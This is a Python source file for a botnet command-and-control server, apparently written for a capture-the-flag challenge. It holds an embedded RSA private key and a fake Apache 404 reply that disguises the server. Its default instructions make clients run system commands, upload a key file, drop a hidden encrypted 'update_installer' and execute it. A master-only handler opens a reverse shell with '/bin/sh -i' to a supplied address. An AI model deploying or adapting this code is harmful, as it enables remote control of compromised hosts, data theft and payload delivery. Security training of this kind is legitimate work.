#!/usr/bin/python import socket, array, os, sys, random, struct, binascii, hashlib import SocketServer, threading, signal import time, shutil, subprocess from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import AES from Crypto.Util import Counter FAKE = 'HTTP/1.0 404 Not Found\r\n' +\ 'Server: Apache/2.2.14 (Win32) PHP/5.2.5\r\n' +\ 'Content-Length: 0\r\n' +\ 'Content-Type: text/html\r\n\r\n''' RSA2048_CRYPTBLOCK_SIZE = 256 SESSION_PACKET_HEADER_SIZE = RSA2048_CRYPTBLOCK_SIZE + struct.calcsize('I') MAX_PACKET_DATA_LIMIT = 0x00100000 AGENT_TYPE_CLIENT = 0x41424344 AGENT_TYPE_MASTER = 0x61626364 OPCODE_ERROR = 0x00000000 OPCODE_AUTH_STEP_0 = 0x12341234 OPCODE_AUTH_STEP_1 = 0x56785678 OPCODE_AUTH_STEP_2 = 0x9abc9abc OPCODE_OPERATE_SYS_ECHO = 0x80000001 OPCODE_OPERATE_REVERSE_SHELL = 0x80000002 OPCODE_OPERATE_CMDEXEC = 0x00002000 OPCODE_OPERATE_FILESEND_TO_S = 0x00011000 OPCODE_OPERATE_FILESEND_FROM_S = 0x00012000 server_privatekey = '''-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAuYQeGBSeVJUNfAxqRvYrTUHIxT1a4gHtKkQoQD7H0s8tqVmR BZcUvvueUfCu2S9UHXsnlpgBEKTZ5ZercaqzV7fkr1BjSMELCw/E/rV73giNiIno ouD9qDf+ARYIzCNjdg73Or6uBhLLhK0Iw9l4+bfngrGTXnxdaYF3UB95ArcNJuZ2 vJ5PKH3uXC0MJIq8A5JsZY4aw8aNBcRmxZhlNd8EtnI1ObxW/Vn6/zL3QtUytpOT cBEnfjrQIF/jl1qZA1qCkj5no0MhfCCUZ/mIkkVO+OvKCnmaxQpLwcx59852m29Q 11cfOTBnigOupA7dvFpaXoaGxGtYBHQ3Acsy2QIDAQABAoIBAD5KKySgv6zcw0NU k9axz0ZIgVYgzMQ4K17WtcEkk0moQMetCDGdUdzydW1D6CGKb67abCd3cFwbTgJ2 E5292Cvq1gE7d6q1DrUvHVD8tNOPgZ5H1/Hgo6r46fOJZ3jLpRi926tA3QOzCdzJ kLjZ63HFmxlZ8IZ4MZE8ZEhl2Obc5kHlSoTmKHu4IhlEcAkwkszRQFFaLsldvPn9 kgqAHLvjlIqU0f+7/Ds0csqbaBNh8zTAtFkPILy5vNacc0TiDUW5qvOaPCHb4+xS Or3FEeN/8hjSAen1o2HNjZwN/eQia39T6LR4fsBDvPlxRvX/4vFCsEUQRTEGAskA zrbCqTUCgYEA9iRuajyXd62fvBYp8x2ruNEHf2S4BZHr+ROYWUoW+fXTGz1yfAXx LGnei3KUuxQhrMTzu5aTdY/bOq7wc691bKzpdAKKs+wpCQ+QQgJk4epic0DsGdiJ hWm0Mi+kpNiFVj7go11f0oxZc5TqmElMLhA9YA3vAuyNRYIYEfKbodMCgYEAwPId /79RYtp0fpkANYWr7c9jTL3j2Aem93y8JcXX3cu3oeB6BaEgo8AuwggejwdSIWig cmr9B0oZh9PdZoN4He0TYsxGzUX/p40f8HzHzvXDo1guqBwqKqcqaRSQBlTVAL55 P3mmSpV5NKaCYSIDUudAbmMnKkuKCFRdbYHswSMCgYEAk+cIQeXuzgcSOJ7IzkFB 8mgILVCEEzS/qodPwDd43vILzA58QHIBnUJwazKKlG9gXMRsAIhWSwoKHZUI/zqr QIYWMZNlbP+3GK61bDSsEeQZDFAyjsVCvVvq300pjbRdSpm1ufRdo9KZ3Y3Z+W/x yqwPdSxqNkOWD/JALGivg+kCgYEAryJV5pFjL2Z5PXxley+FOsv3J25phOqVPKml Imgto+5JFY9rUvbJaLmF96tlCZCslRSiJplEaTxyZh8CJQ4Klqdd5Fzlm2gBQbXQ mvq4Zvwfg4IEf6VpBORNk6oNfSG9YfqClgI21hZNOWQ2jjJQcAzmKAyqPTLp7Nuf HkpDe58CgYEA12yiFB3WWvEfzRnbL/3SmlXI3AMi2EMljQYdmGbujayh2sA6mslg OxfTr3zVLk70i9TbIUZimXtVqmFBgb277X4B388vSOU0n4PhMi5GfcE6bduT+oYY 6xF3sRyAfw0A13ivs0Oa72aYDycSYs7kARpj36wGY5eHjGe2HKMCyF4= -----END RSA PRIVATE KEY----- ''' client_pubkey = '''-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsiPDT6aelLkZolwC+PjY gUSrPEYg5I/VmgRl+bBKWlBhgcrIj9D3bUG6FbhM/wdaTzpkNQzzPBqgbbWrEUDl /EDgd1HI34bgkc0d2EaI+lEYEHU6bKY5EWOGUn7TEjEfgT6YRt4DngiKLe/QfTzr yz3++58Sf/vVrDE54khSMUGvDmfov3IDcr75MOmKhmTvr1/WazIkPV+qUNht8QyX fu2EB+uaTnBjYetU5Ac9AJ6EMEPCr1gldTY/jOmdEbq6MHl7p1pc2PcgsjdrqRj6 NS41EiYCvbBKDlXYGd6OAbisEGAxra6nrj7T731y62dZAtblly9zjrxPK4ANaRdJ +QIDAQAB -----END PUBLIC KEY----- ''' endpoint_pubkey = '''-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtp4Mi/JIDSO+H7vzKbJi U2z2BacQA76uH+VVPuh6ZXZMkmvm5u664Vg9sI78O3YVCSfq2vHqPQ7kixAuQ8fM i+gCbDpZyKgwE46EkzC6K1IOf/zMM//heYf39tzg6lCVKIGfGqgTNFVCLSncdzit oNIoZZFRA56vHg2OBo8ab7+LPDb/VxjSwRnoqKoTNEH88hC9v/zDiDHGY40ufDFI WQh3v2PzgrHIijf0sp598GseyvpgYJ8iA+C/CBsdwY7sGxLSOOljR/rOvV4fkwza y3UDQHNuHqUekh+lK0+PvR8p0zHXqQETg60yvVqCqmc3jDIGS/CeEa7oDV0P9SAg owIDAQAB -----END PUBLIC KEY----- ''' mastercontroller_pubkey = '''-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAonWEnr+1UlxmuFXvPgTk RkAE0ABWdFy4zWGy81PjMRzq5MHQEbIpiUg0WlCpys0ISM+0sVQLRiRjjcemmDcR Zpc/LqXRZkIdfCWFk9RzDMNEqR/b1ghBDH3UCpxaUN9f6D3uuH9PJPjqtCiACM3p g1NPnQsVx4TqOYL8MrzvrGe5yXyOIP9s9gqhsfteYRbw12aoOtqbFU60bP2PR7y+ b+xmpt//iSJshntfYXBkwAHFKqxJBsIhM4VkvmnB/iFYl90r/EfwucPlFqPaBdcC ktSFs9Mk67qZ8Fw830s5uhSOcX0+mz0Vixz7ZYp+R5hY+XmZD+2yFB7JLcWv4PE9 GQIDAQAB -----END PUBLIC KEY----- ''' sessionkey = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" def random_string(length, maxval = 0xFF): return "".join(chr(random.randint(0, maxval)) for i in xrange(length)) def nonce_generator(): return random_string(4) def xor_stream(nonce, data): return "".join(chr((ord(data[i]) ^ ord(nonce[i % len(nonce)])) & 0xFF) for i in xrange(len(data))) def session_send(s, opcode, data): global sessionkey nonce = nonce_generator() ctr = Counter.new(128, initial_value=long("f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",16)) packet_header = struct.pack('I', opcode) packet_header += struct.pack('I', len(data)) msg = nonce + xor_stream(nonce, packet_header) msg += AES.new(sessionkey, AES.MODE_CTR, counter = ctr).encrypt(data) return s.sendall(msg) def session_recv(s): global sessionkey, FAKE ctr = Counter.new(128, initial_value=long("f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",16)) nonce = s.recv(4) if nonce == 'GET ' or nonce == 'POST' or nonce == 'HEAD': akk = '' while akk.find('\r\n\r\n') == -1 and akk.find('\n\n') == -1: akk = akk + s.recv(1) s.sendall(FAKE) s.shutdown(socket.SHUT_RDWR) s.close() return OPCODE_ERROR, 0, '' packet_header = xor_stream(nonce, s.recv(struct.calcsize('II'))) opcode = struct.unpack('I', packet_header[0:struct.calcsize('I')])[0] length = struct.unpack('I', packet_header[struct.calcsize('I'):struct.calcsize('II')])[0] if length > MAX_PACKET_DATA_LIMIT: return OPCODE_ERROR, 0, '' msg = AES.new(sessionkey, AES.MODE_CTR, counter = ctr).decrypt(s.recv(length)) return opcode, length, msg def session_establish(s): global sessionkey, client_pubkey, mastercontroller_pubkey GUID = binascii.hexlify('\x00'*32) srsa = PKCS1_OAEP.new(RSA.importKey(server_privatekey)) crsa = PKCS1_OAEP.new(RSA.importKey(client_pubkey)) opcode, length, X1 = session_recv(s) if length != RSA2048_CRYPTBLOCK_SIZE or opcode != OPCODE_AUTH_STEP_0: print '[VIOLATION]\n\tREASON : BAD AUTH0, %d %x' % (length, opcode) return None X1 = srsa.decrypt(X1) GUID = binascii.hexlify(X1[16:16 + 32]) TYPE = struct.unpack('I', X1[16 + 32: 16 + 32 + struct.calcsize('I')])[0] X1 = X1[0:16] if TYPE != AGENT_TYPE_CLIENT and TYPE != AGENT_TYPE_MASTER: print '[VIOLATION]\n\tREASON : UNKNOWN AGENT TYPE = %.8x' % TYPE return None, None if TYPE == AGENT_TYPE_MASTER: client_pubkey = mastercontroller_pubkey crsa = PKCS1_OAEP.new(RSA.importKey(client_pubkey)) X2 = random_string(16) session_send(s, OPCODE_AUTH_STEP_1, crsa.encrypt(X1 + X2)) opcode, length, X2_v = session_recv(s) X2_v = srsa.decrypt(X2_v) if length != RSA2048_CRYPTBLOCK_SIZE or opcode != OPCODE_AUTH_STEP_2 or X2 != X2_v: print '[VIOLATION]\n\tREASON : BAD AUTH2' return None, None sessionkey = hashlib.sha256(X1 + X2).digest() print '[ESTABLISHED]\n\tsk = %s' % binascii.hexlify(sessionkey) print '\tGUID = %s' % GUID print '\tAGENT_TYPE = %.8x' % TYPE return GUID, TYPE def init_storage(guid): try: os.mkdir('/home/botnet/storage') except: pass try: os.mkdir('/home/botnet/storage/%s' % guid) except: pass try: os.mkdir('/home/botnet/storage/%s/instruction' % guid) except: pass try: os.mkdir('/home/botnet/storage/%s/result' % guid) except: pass def install_default_instructions(guid): basepath = '/home/botnet/storage/%s/instruction/' % guid fd = open(basepath + '000-ls', 'w+b') fd.write(struct.pack('I', OPCODE_OPERATE_CMDEXEC) + 'ls -aslr') fd.close() fd = open(basepath + '001-ipconfig', 'w+b') fd.write(struct.pack('I', OPCODE_OPERATE_CMDEXEC) + 'ifconfig') fd.close() fd = open(basepath + '002-tasklist', 'w+b') fd.write(struct.pack('I', OPCODE_OPERATE_CMDEXEC) + 'ps axuf') fd.close() fd = open(basepath + '003-info', 'w+b') fd.write(struct.pack('I', OPCODE_OPERATE_CMDEXEC) + 'env') fd.close() fd = open(basepath + '004-upl', 'w+b') fd.write(struct.pack('I', OPCODE_OPERATE_FILESEND_TO_S) + '/home/botnet/key') fd.close() fd = open(basepath + '005-drop', 'w+b') droppath = 'update_installer.py|/tmp/.update_installer.py.encrypted' fd.write(struct.pack('II', OPCODE_OPERATE_FILESEND_FROM_S, len(droppath)) + droppath) fd.close() fd = open(basepath + '006-decrypt-and-execute', 'w+b') fd.write(struct.pack('I', OPCODE_OPERATE_CMDEXEC) + 'endpoint_decryption.py /tmp/.update_installer.py.encrypted') fd.close() pass def load_instructions(s, guid): basepath = '/home/botnet/storage/%s/instruction/' % guid instructions = [] for ls in sorted(os.listdir(basepath)): fd = open(basepath + ls, 'rb') data = fd.read(99999) fd.close() os.unlink(basepath + ls) opcode = struct.unpack('I', data[0:struct.calcsize('I')])[0] print '[OPCODE SEND]\n\tINSTRUCTION : %s\n\tOPCODE = 0x%.8x\n\tGUID = %s' % (ls, opcode, guid) data = data[struct.calcsize('I'):] if opcode == OPCODE_OPERATE_FILESEND_FROM_S: fns = data[struct.calcsize('I'):].split('|') src_fn = fns[0] drop_path = fns[1] print '[FILESEND S->C]\n\tSOURCE FILENAME = %s\n\tDROP PATH = %s\n\tGUID = %s' % (src_fn, drop_path, guid) fd = open(src_fn, 'rb') blob = fd.read(9999999) fd.close() aeskey = random_string(32) ersa = PKCS1_OAEP.new(RSA.importKey(endpoint_pubkey)) head = ersa.encrypt(aeskey) ctr = Counter.new(128, initial_value=long("f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff",16)) blob = AES.new(aeskey, AES.MODE_CTR, counter = ctr).encrypt(blob) data = data + head + blob session_send(s, opcode, data) pass def handle_nop(s, guid, data): print '[NOP]\n\tGUID = %s' % guid pass def handle_echo(s, guid, data): print '[ECHO]\n\tSTRING : %s\n\tGUID = %s' % (binascii.hexlify(data), guid) session_send(s, OPCODE_OPERATE_SYS_ECHO, data) pass def io_write(fn, guid, data): try: fd = open(fn, 'w+') fd.write(data) fd.close() except: print '[IO ERROR]\n\tFILENAME : %s\n\tGUID = %s' % (fn, guid) pass def handle_save_result(s, guid, data): print '[SAVE]\n\tGUID = %s' % guid basepath = '/home/botnet/storage/%s/result/' % guid length = struct.unpack('I', data[0:struct.calcsize('I')])[0] fn = data[struct.calcsize('I'):struct.calcsize('I') + length] data = data[struct.calcsize('I') + length:] io_write(basepath + fn, guid, data) pass def handle_filesend_to_s(s, guid, data): print '[PROTECTED SAVE]\n\tGUID = %s' % guid basepath = '/home/botnet/storage/%s/result/' % guid fn = time.strftime("%Y-%m-%d_%H-%M-%S-", time.gmtime()) + hashlib.sha256(data).hexdigest() io_write(basepath + fn, guid, data) pass def handle_master_rsh(s, guid, data): print '[REVERSE SHELL]\n\tGUID = %s' % guid address = data.split(':') ip = address[0] port = int(address[1]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,port)) p = subprocess.call(["/bin/sh","-i"], stdin=s, stdout=s, stderr=s) pass def operate(s, guid, agent_type): opcode_map = dict() opcode_map[OPCODE_OPERATE_SYS_ECHO] = handle_echo opcode_map[OPCODE_OPERATE_CMDEXEC] = handle_save_result opcode_map[OPCODE_OPERATE_FILESEND_TO_S] = handle_filesend_to_s if agent_type == AGENT_TYPE_MASTER: opcode_map[OPCODE_OPERATE_REVERSE_SHELL] = handle_master_rsh else: install_default_instructions(guid) while True: load_instructions(s, guid) try: opcode, length, data = session_recv(s) except: print '[COMMUNICATION ERROR]\n\tREASON : SOCKET ERROR\n\tGUID = %s' % guid break if length <= 0: print '[COMMUNICATION ERROR]\n\tREASON : INVALID LENGTH\n\tOPCODE = %.8x\n\tGUID = %s' % (opcode, guid) break if opcode_map.has_key(opcode): opcode_map[opcode](s, guid, data) else: print '[VIOLATION]\n\tREASON : INVALID OPCODE\n\tOPCODE = %.8x\n\tGUID = %s' % (opcode, guid) break return class Dispatcher(SocketServer.BaseRequestHandler): def handle(self): self.request.settimeout(60.0) GUID, TYPE = session_establish(self.request) if GUID == None: return init_storage(GUID) operate(self.request, GUID, TYPE) # CLEANUP - for the CTF server maintenance shutil.rmtree('/home/botnet/storage/' + GUID, ignore_errors=True) pass class TCPFrame(SocketServer.ForkingMixIn, SocketServer.TCPServer): allow_reuse_address = True pass if __name__ == "__main__": signal.signal(signal.SIGCHLD, signal.SIG_IGN) HOST, PORT = "0.0.0.0", 8080 server = TCPFrame((HOST, PORT), Dispatcher) server.serve_forever()